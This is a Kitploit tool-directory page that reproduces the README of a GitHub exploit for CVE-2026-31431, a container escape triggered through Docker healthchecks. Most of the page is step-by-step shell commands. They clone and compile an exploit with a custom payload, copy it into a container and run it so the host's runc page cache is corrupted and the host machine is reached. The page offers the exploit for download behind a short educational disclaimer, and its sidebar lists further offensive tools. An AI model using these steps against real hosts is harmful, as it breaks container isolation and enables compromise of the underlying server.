Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-Copy-Fail-Container-Escape — Container escape on any docker container with healthcheck enabled via CVE-2026-31431 | Kitploit
Tools/GitHubGitHub/hans362/cve-2026-31431-copy-fail-container-escape
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationContainer Escape
GitHubhans362/cve-2026-31431-copy-fail-container-escape

CVE-2026-31431-Copy-Fail-Container-Escape

Share

Container escape on any docker container with healthcheck enabled via CVE-2026-31431

View Repository
12686 months agoNot yet reviewed

CVE-2026-31431-Copy-Fail-Container-Escape

Demo

https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e

Prerequisite

  • Container vulnerable to CVE-2026-31431
  • Container healthcheck configured and healthcheck CMD known
  • Obtained root access inside the container (if not, you can just use Copy Fail to get one)

In this repository, docker-compose.yml is provided to set up a vulnerable container. You may also use any other vulnerable container or set up your own, but remember to change the exploit code accordingly.

Steps-to-exploit

# On host machine
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh

# Inside copyfail container
cd /tmp
chmod +x exp.sh exploit
./exp.sh

# Wait a few minutes for the healthcheck to run
# and check if /tmp/pwned is created on host

# On host machine
ls /tmp/pwned

Once the exploit succeeds, the pagecache of runc binary on the host machine gets corrupted. You can restore it by running echo 3 | sudo tee /proc/sys/vm/drop_caches on host.

Credits

  • https://copy.fail/
  • https://github.com/tgies/copy-fail-c

Disclaimer

This repository is for educational purposes only. It should not be used for any malicious activities. The author is not responsible for any damage caused by the misuse of this code. Always use it in a controlled and legal environment.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →